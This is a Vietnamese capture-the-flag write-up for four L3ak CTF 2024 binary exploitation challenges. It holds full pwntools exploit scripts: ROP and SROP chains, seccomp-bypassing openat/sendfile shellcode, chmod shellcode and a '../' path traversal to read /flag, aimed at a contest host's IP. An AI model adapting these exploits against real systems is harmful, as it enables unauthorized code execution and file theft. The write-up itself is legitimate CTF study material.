# (writeup) L3ak CTF 2024 - giải có Docker đi vào lòng đất 🤡 ## oorrww - basic file check ![image](https://hackmd.io/_uploads/rkje1nx4R.png) - check ida ![image](https://hackmd.io/_uploads/ry_EVhgNA.png) >**main()** ![image](https://hackmd.io/_uploads/H1nDN3e40.png) >**sandbox()** >thêm seccomp thôi >![image](https://hackmd.io/_uploads/B1zo4nxEA.png) >fillter execve và execveat ![image](https://hackmd.io/_uploads/rk9BVhl4C.png) >**gift()** ### analyse - chall sẽ cho mình stack và libc - khả năng nhập ow cả $rip từ **main()** ``_iso99_scanf("%lf",v5[8*i])`` (loop 22 lần) - format nhập là "%lf" ---> bypass canary bằng input '.' - idea sẽ là ORW flag - idea ban đầu là chain gadget call orw nhưng không đủ nên đổi hướng là call read 1 lần nữa để ROP - NOTE: không thể tin vào path flag trên Docker =))) > author bị ngáo > flag nằm cùng thư mục chall ### get flag ![image](https://hackmd.io/_uploads/SkcSynxV0.png) - script: ```py #!/usr/bin/python3 from pwn import * exe = ELF('./oorrww_patched', checksec=False) libc = ELF('./libc.so.6', checksec=False) context.binary = exe info = lambda msg: log.info(msg) sla = lambda msg, data: p.sendlineafter(msg, data) sa = lambda msg, data: p.sendafter(msg, data) sl = lambda data: p.sendline(data) s = lambda data: p.send(data) sln = lambda msg, num: sla(msg, str(num).encode()) sn = lambda msg, num: sa(msg, str(num).encode()) def GDB(): if not args.REMOTE: gdb.attach(p, gdbscript=''' # b*main+144 b*main+191 c ''') input() if args.REMOTE: p = remote('193.148.168.30',7666) else: p = process(exe.path) GDB() p.recvuntil(b'you: ') string1 = float(p.recvuntil(b' ',drop=True).decode()) value1 = struct.unpack('!Q', struct.pack('!d',string1))[0] stack_leak = int(hex(value1),16) info("stack leak: " + hex(stack_leak)) string2 = float(p.recvuntil(b'!',drop=True).decode()) value2 = struct.unpack('!Q', struct.pack('!d',string2))[0] libc_leak = int(hex(value2),16) libc.address = libc_leak - 0x62090 info("libc leak: " + hex(libc_leak)) info("libc base: " + hex(libc.address)) pop_rdi = 0x000000000002a3e5 + libc.address pop_rsi = 0x000000000002be51 + libc.address pop_rax = 0x0000000000045eb0 + libc.address pop_rdx_rbx = 0x00000000000904a9 + libc.address syscall = 0x0000000000029db4 + libc.address leave_ret = 0x000000000004da83 + libc.address open_call = libc.sym.open read_call = libc.sym.read write_call = libc.sym.write payload_open = str(struct.unpack('d', p64(open_call))[0]).encode() payload_read = str(struct.unpack('d', p64(read_call))[0]).encode() payload_write = str(struct.unpack('d', p64(write_call))[0]).encode() info("stack need: " + hex(stack_leak+0x20)) payload_flag = str(struct.unpack('d', b'flag.txt')[0]).encode() payload_flag1 = str(struct.unpack('d', b'./flag.t')[0]).encode() payload_flag2 = str(struct.unpack('d', b'xt\0\0\0\0\0\0')[0]).encode() payload_0 = str(struct.unpack('d',p64(0))[0]).encode() payload_0x200 = str(struct.unpack('d',p64(0x200))[0]).encode() payload_rw_section = str(struct.unpack('d', p64(stack_leak+0x60))[0]).encode() payload_ret_stack = str(struct.unpack('d', p64(stack_leak+8))[0]).encode() payload_stack = str(struct.unpack('d', p64(stack_leak+8))[0]).encode() payload_ret = str(struct.unpack('d', p64(pop_rdi+1))[0]).encode() payload_rdi = str(struct.unpack('d', p64(pop_rdi))[0]).encode() payload_rsi = str(struct.unpack('d', p64(pop_rsi))[0]).encode() payload_rax = str(struct.unpack('d', p64(pop_rax))[0]).encode() payload_rdx_rbx = str(struct.unpack('d', p64(pop_rdx_rbx))[0]).encode() payload_syscall = str(struct.unpack('d', p64(syscall))[0]).encode() payload_leave_ret = str(struct.unpack('d', p64(leave_ret))[0]).encode() sla(b'input:',payload_flag1) sla(b'input:',payload_flag2) # sla(b'input:',payload_flag) # sla(b'input:',payload_0) sla(b'input:',payload_rdi) sla(b'input:',payload_0) sla(b'input:',payload_rsi) sla(b'input:',payload_rw_section) sla(b'input:',payload_rdx_rbx) sla(b'input:',payload_0x200) sla(b'input:',payload_0) sla(b'input:',payload_rax) sla(b'input:',payload_0) sla(b'input:',payload_read) for i in range(8): sla(b'input:',b'.') sla(b'input:',payload_ret_stack) sla(b'input:',payload_leave_ret) payload = flat( pop_rdi, stack_leak, pop_rsi, 0, pop_rdx_rbx, 0,0, pop_rax, 2, open_call, pop_rdi, 3, pop_rsi, stack_leak+0x200, pop_rdx_rbx, 0x100,0, pop_rax, 0, read_call, pop_rdi, 1, pop_rsi, stack_leak+0x200, pop_rdx_rbx, 0x100,0, pop_rax, 1, write_call ) sleep(5) p.send(payload) p.interactive() #L3AK{th3_d0ubl3d_1nput_r3turns_whAt_u_wAnt} ``` >L3AK{th3_d0ubl3d_1nput_r3turns_whAt_u_wAnt} ## pors - basic file check ![image](https://hackmd.io/_uploads/ryrfe3xNR.png) - check ida ![image](https://hackmd.io/_uploads/Bklgw3lVA.png) >**main()** ![image](https://hackmd.io/_uploads/HJiGDhgNR.png) >**sandbox()** > thêm seccomp thôi > ![image](https://hackmd.io/_uploads/ryPvwhe4C.png) > filter write, open, mmap, execve, execveat ### analyse - đầu tiên, chall gọi thẳng hàm **syscall()** (lưu ý khác với gadget syscall) với tham số lần lượt là `0LL, 0LL, v4, 592LL` > tương ứng $rdi, $rsi, $rdx, $rcx (thường là $r10) > nhưng thực tế là $rax, $rdi, $rsi, $rdx - xét qua seccomp, k cho lấy shell, k cho open hay write ---> đổi hướng sang openat và sendfile (tương tự read&write) - mà chain ROP call 2 thằng đó hơi khoai nên sẽ call mprotect rồi ret2shellcode - nhưng gadget hiện hữu để chain chỉ có `pop rdi; ret` nên ROP đống đó bất khả thi ---> SROP (sigreturn) - và path tới flag trong Docker cũng bịp tiếp nha =)))) > phải open ticket hỏi > đến cả author còn k biết path flag ở đâu mà =)))))) > flag nằm chung ở thư mục challenge nha - NOTE: arg cho openat: ``int openat(int dirfd, const char *pathname, int flags, mode_t mode);`` ![image](https://hackmd.io/_uploads/ByMJ6fbN0.png) > $rdi=0 và $rsi là path tuyệt đối > **If pathname is absolute, then dirfd is ignored.** ![image](https://hackmd.io/_uploads/H1WB6fZVR.png) > $rdi=-100 và $rsi là file_name (path tương đối) > **If pathname is relative and dirfd is the special value AT_FDCWD** > [ref](https://sites.uclouvain.be/SystInfo/usr/include/linux/fcntl.h.html) ### get flag ![image](https://hackmd.io/_uploads/rJYpkngEA.png) - script: ```py #!/usr/bin/python3 from pwn import * exe = ELF('./pors', checksec=False) context.binary = exe context.arch = 'x86_64' info = lambda msg: log.info(msg) sla = lambda msg, data: p.sendlineafter(msg, data) sa = lambda msg, data: p.sendafter(msg, data) sl = lambda data: p.sendline(data) s = lambda data: p.send(data) sln = lambda msg, num: sla(msg, str(num).encode()) sn = lambda msg, num: sa(msg, str(num).encode()) def GDB(): if not args.REMOTE: gdb.attach(p, gdbscript=''' b*main+75 b*main+81 c ''') input() if args.REMOTE: # p = remote('0',5000) p = remote('193.148.168.30',7668) else: p = process(exe.path) # GDB() rw_section = 0x404a00 pop_rdi = 0x00000000004012ec rw_section = 0x404a00 setup = 0x000000000040131c payload = b'a'*0x20 payload += p64(rw_section+0x20)#rbp payload += p64(setup) p.send(payload) frame = SigreturnFrame() frame.rdi = 0xa #mprotect frame.rsi = rw_section-0xa00 frame.rdx = 0x1000 frame.rcx = 0x7 frame.rsp = rw_section frame.rbp = rw_section + 0x120 frame.rip = exe.plt.syscall # input() shellcode = asm(shellcraft.openat(-100, 'flag.txt',0)) shellcode += asm(shellcraft.sendfile(1, 'rax',0, 100)) payload = p64(0x404b40) #return shellcode payload += p64(pop_rdi+1)*3 payload += p64(rw_section+0x70) payload += p64(pop_rdi) + p64(0xf) payload += p64(exe.plt.syscall) payload += bytes(frame) payload += p64(0xdeadbeef) payload += shellcode p.send(payload) p.interactive() #L3AK{sr0p_4nd_m0viing_4nd_G3T_wh4t_u_r34lly_w4nt} ``` >L3AK{sr0p_4nd_m0viing_4nd_G3T_wh4t_u_r34lly_w4nt} --- ## pwnoodle - basic file check ![image](https://hackmd.io/_uploads/Bkqsg2lE0.png) - check ida #### noodled ![image](https://hackmd.io/_uploads/Hy-7ualNC.png) ![image](https://hackmd.io/_uploads/SkS4ual40.png) >**main()** >tạo socket rồi đợi connect các thứ ![image](https://hackmd.io/_uploads/BJcrk0xVC.png) >**friend()** >cho stack ![image](https://hackmd.io/_uploads/HkOtupxVC.png) >**solve_noodles()** >nhận input dc trả về rồi xử lý (0x21 byte) >**memcpy()** cái đọc được rồi copy lên stack >có BOF ở đây, khi ``__int64 dest[2]`` là 8*2 = 0x10 >trong khi memcpy tận 1 byte **m** (unsigned __int8) (max 0xff) >nếu ctrl được **m** ---> ow được $rip >0x18 cho $rbp, 0x20 cho $rip #### noodleterm ![image](https://hackmd.io/_uploads/SyReqaeEA.png) ![image](https://hackmd.io/_uploads/S1GmcalVA.png) >**main()** ![image](https://hackmd.io/_uploads/HkJr9px4A.png) ![image](https://hackmd.io/_uploads/Sy5L9axV0.png) >**repl()** ![image](https://hackmd.io/_uploads/SkSncalER.png) ![image](https://hackmd.io/_uploads/SJ8s5axVC.png) ![image](https://hackmd.io/_uploads/rku6qaxV0.png) >**noodlen()** ![image](https://hackmd.io/_uploads/HynlipxNC.png) ![image](https://hackmd.io/_uploads/rJlMoTeEC.png) ![image](https://hackmd.io/_uploads/ry7Qspl4A.png) >**noodluv()** ### analyse - đôi lời tâm sự, chall này author ~~"xò chám"~~ lắm khi kêu thí sinh giải local ra r gửi script cho ổng, ổng sẽ gửi flag =)))))))))))))))))) - để DEBUG, ta build Docker rồi `remote('0',4819)` > qua terminal khác tìm tiến tiền bằng `ps aux` rồi lấy \<pid> > sau đó `sudo gdb -p <pid>` > lưu ý chỉ có thể DEBUG trên máy ảo, WSL vô dụng - với file `startup.sh`, thứ tự run là `./noodled noodleterm` tức là ./A B (xử lí bên B trả về A, xử lí xong A trả về B) > và để ý checksec thấy noodled k có canary và NX disable lẫn NO PIE > ---> shellcode - để ý thấy ở hàm **noodlen()** sau khi cho ta nhập size, biến bss **num_0** được tính là ``+= size`` ![image](https://hackmd.io/_uploads/ByZth6lN0.png) >tối đa size=0x10 >nhập input giới hạn `i <= 0x1F` và `i < num_0` - nhưng khi tới bước check ![image](https://hackmd.io/_uploads/HJ2TnTg4A.png) > không thoả mãn sẽ break > nhưng vẫn giữ biến toàn cục **num_0** > ---> BUG ![image](https://hackmd.io/_uploads/BJ1baTeVC.png) >**checknoodle()** >chỉ return 1 khi payload chỉ chứa mỗi byte '-' - và cách nó gửi dữ liệu: ![image](https://hackmd.io/_uploads/rJT2TpxVC.png) > code C >```c > for ( i = 0; i <= 0x1Fu; ++i ) > *((_BYTE *)buf + i + 1) = *((_BYTE *)v7 + >i); >``` >nôm na là tính tổng số lượng byte rồi biến tổng đó về byte ( giống hàm **chr()** ) - vậy idea ta sẽ tăng **num_0** lên (0x10) nhưng không input payload - lần nhập 2 sẽ là shellcode (input tận 0x20) > lưu ý gửi shellcode dưới dạng ``b'-'*shellcode[i]`` > tức là mỗi một byte shellcode sẽ gửi số lần b'-' - quay lại file noodled, thấy có xử lí chuỗi ở đây ![image](https://hackmd.io/_uploads/HkvSgAxNR.png) >nếu có byte NULL sẽ ngắt chuỗi - vậy việc ta sẽ viết shellcode không chứa NULL byte, đồng thời chiều dài tối đa 0x18, ở 0x20 sẽ là stack return lại shellcode - thế ta sẽ viết shellcode gì? - không thể viết read, execve hay execveat vì bài dạng service (socket) - ta đọc trong file Dockerfile ```dockerfile ... COPY flag /flag RUN chmod 600 /flag ... ``` > flag set quyền r__ cho root > `r__ ___ ___` thì user không thể cat hay symlink các thứ - ta sẽ viêt shellcode call chmod cho flag - rồi dùng option **noodluv** để symlink và in ra ![image](https://hackmd.io/_uploads/r1O9WRg4A.png) - symlink với flag nằm ở thư mục / (root) nên sẽ để path là lùi '../' - NOTE: do máy tui đã set /flag ở cả quyền user nên k cần shellcode vẫn in ra được ```py sla(b'> ',b'noodluv') sla(b'recipe?\n',b"../../../../../../../../../flag") ``` > nên nếu quăng cho author sẽ bị cười dô mặt =))) > phải đúng ý author mới chịu cơ =))) ### get flag ![image](https://hackmd.io/_uploads/SJovX0gNR.png) - script: ```py #!/usr/bin/python3 from pwn import * exe = ELF('./noodled', checksec=False) context.binary = exe info = lambda msg: log.info(msg) sla = lambda msg, data: p.sendlineafter(msg, data) sa = lambda msg, data: p.sendafter(msg, data) sl = lambda data: p.sendline(data) s = lambda data: p.send(data) p = remote('0',4819) p.recvuntil(B'stackleak:') stack_leak = int(p.recvline(), 16) info(f'stack_leak: '+ hex(stack_leak)) dest = stack_leak + 0x10 shellcode = asm(''' pop rsp push rax movabs rbx,0x67616c662f2f2f2f push rbx mov rdi, rsp mov si,0x124 mov al,0x5a syscall ''',arch='amd64') payload = shellcode payload = payload.ljust(0x18,b'\x90') payload += p64(dest) # pause() sla(b'> ',b'noodlen') sla(b'send?',str(0x10)) sla(b'line:',b'a') info("len: " + str(len(shellcode))) sla(b'> ',b'noodlen') sla(b'send?',str(0x10)) p.recvuntil(b'line:') for i in range(len(payload)): sl(b'-'*payload[i]) sla(b'> ',b'noodluv') sla(b'recipe?\n',b"../../../../../../../../../flag") p.interactive() ``` ## oorrww_revenge - basic file check ![image](https://hackmd.io/_uploads/BJO3XGnER.png) - check ida ![image](https://hackmd.io/_uploads/ByI0QG2N0.png) >**main()** ![image](https://hackmd.io/_uploads/SyI4NfhEA.png) >**sandbox()** ![image](https://hackmd.io/_uploads/Sk-x4zh4A.png) >**gift()** ### analyse - ở chall này giống nhau về work flow nhưng chỉ khác là ở hàm **gift()** không còn cho ta địa chỉ libc hay stack nữa - bù lại PIE sẽ tắt và nhập tận 30 lần - mục tiêu ta vẫn phải leak libc và stack để call ORW ### get flag ![image](https://hackmd.io/_uploads/ryLPwmhER.png) - script: ```py #!/usr/bin/env python3 from pwn import * context.binary = exe = ELF("./oorrww_revenge_patched",checksec=False) libc = ELF("./libc.so.6",checksec=False) info = lambda msg: log.info(msg) sla = lambda msg, data: p.sendlineafter(msg, data) sa = lambda msg, data: p.sendafter(msg, data) sl = lambda data: p.sendline(data) s = lambda data: p.send(data) if args.REMOTE: p = remote('193.148.168.30', 7667) else: p = process(exe.path) def GDB(): if not args.REMOTE: gdb.attach(p, gdbscript = ''' b*main+139 b*main+185 c ''') input() for i in range(19): payload = str(struct.unpack('d', p64(exe.sym.main + 5))[0]).encode() sla('input:\n', payload) pop_rax = 0x0000000000401203 setup = 0x00000000004012da rw_section = 0x404a00 payload_pop_rax = str(struct.unpack('d', p64(pop_rax))[0]).encode() payload_got_puts = str(struct.unpack('d', p64(exe.got.puts))[0]).encode() payload_setup = str(struct.unpack('d', p64(setup))[0]).encode() sla('input:\n', b'.') #canary sla('input:\n', str(struct.unpack('d', p64(rw_section))[0]).encode()) #rbp sla('input:\n', payload_pop_rax) sla('input:\n', payload_got_puts) sla('input:\n', payload_setup) for i in range(6): payload = str(struct.unpack('d', p64(exe.sym.main + 5))[0]).encode() sla('input:\n', payload) libc_leak = u64(p.recvuntil(b'\n',drop=True) + b'\0\0') libc.address = libc_leak - libc.sym.puts info("libc leak: " + hex(libc_leak)) info("libc base: " + hex(libc.address)) pop_rdi = libc.address + 0x000000000002a3e5 pop_rsi = libc.address + 0x000000000002be51 pop_rdx_r12 = libc.address + 0x000000000011f2e7 for i in range(19): payload = str(struct.unpack('d', p64(exe.sym.main + 5))[0]).encode() sla('input:\n', payload) payload_environ = str(struct.unpack('d', p64(libc.sym.environ))[0]).encode() sla('input:\n', b'.') #canary sla('input:\n', str(struct.unpack('d', p64(rw_section))[0]).encode()) #rbp sla('input:\n', payload_pop_rax) sla('input:\n', payload_environ) sla('input:\n', payload_setup) for i in range(6): payload = str(struct.unpack('d', p64(exe.sym.main + 5))[0]).encode() sla('input:\n', payload) stack = u64(p.recvuntil(b'\n',drop=True) + b'\0\0') info("stack leak: " + hex(stack)) payload_pop_rdi = str(struct.unpack('d', p64(pop_rdi))[0]).encode() payload_path_flag = str(struct.unpack('d', p64(stack - 0x118 + 0x30))[0]).encode() payload_pop_rsi = str(struct.unpack('d', p64(pop_rsi))[0]).encode() payload_0 = str(struct.unpack('d', p64(0))[0]).encode() payload_open = str(struct.unpack('d', p64(libc.sym.open))[0]).encode() payload_3 = str(struct.unpack('d', p64(3))[0]).encode() payload_stack_0x100 = str(struct.unpack('d', p64(stack - 0x118 + 0x100))[0]).encode() payload_rdx_r12 = str(struct.unpack('d', p64(pop_rdx_r12))[0]).encode() payload_0x100 = str(struct.unpack('d', p64(0x100))[0]).encode() payload_read = str(struct.unpack('d', p64(libc.sym.read))[0]).encode() payload_1 = str(struct.unpack('d', p64(1))[0]).encode() payload_write = str(struct.unpack('d', p64(libc.sym.write))[0]).encode() flag1 = str(struct.unpack('d', b'./flag.t')[0]).encode() flag2 = str(struct.unpack('d', b'xt\0\0\0\0\0\0')[0]).encode() sla('input:\n', payload_pop_rdi) sla('input:\n', payload_path_flag) sla('input:\n', payload_pop_rsi) sla('input:\n', payload_0) sla('input:\n', payload_open) sla('input:\n', payload_pop_rdi) sla('input:\n', payload_3) sla('input:\n', payload_pop_rsi) sla('input:\n', payload_stack_0x100) sla('input:\n', payload_rdx_r12) sla('input:\n', payload_0x100) sla('input:\n', payload_0) sla('input:\n', payload_read) sla('input:\n', payload_pop_rdi) sla('input:\n', payload_1) sla('input:\n', payload_write) GDB() sla('input:\n', flag1) sla('input:\n', flag2) sla('input:\n', payload_0) sla('input:\n', b'.') leave_ret = 0x00000000004012c9 payload = str(struct.unpack('d', p64(stack - 0x118 - 8 - 0x50))[0]).encode() sla('input:\n', payload) payload = str(struct.unpack('d', p64(leave_ret))[0]).encode() sla('input:\n', payload) for i in range(8): payload = str(struct.unpack('d', p64(pop_rdi+1))[0]).encode() sla('input:\n', payload) p.interactive() #L3AK{n0w_u_hav3_th3_k3y_t0_th3_inv1s1ble_ffllaagg} ``` >L3AK{n0w_u_hav3_th3_k3y_t0_th3_inv1s1ble_ffllaagg}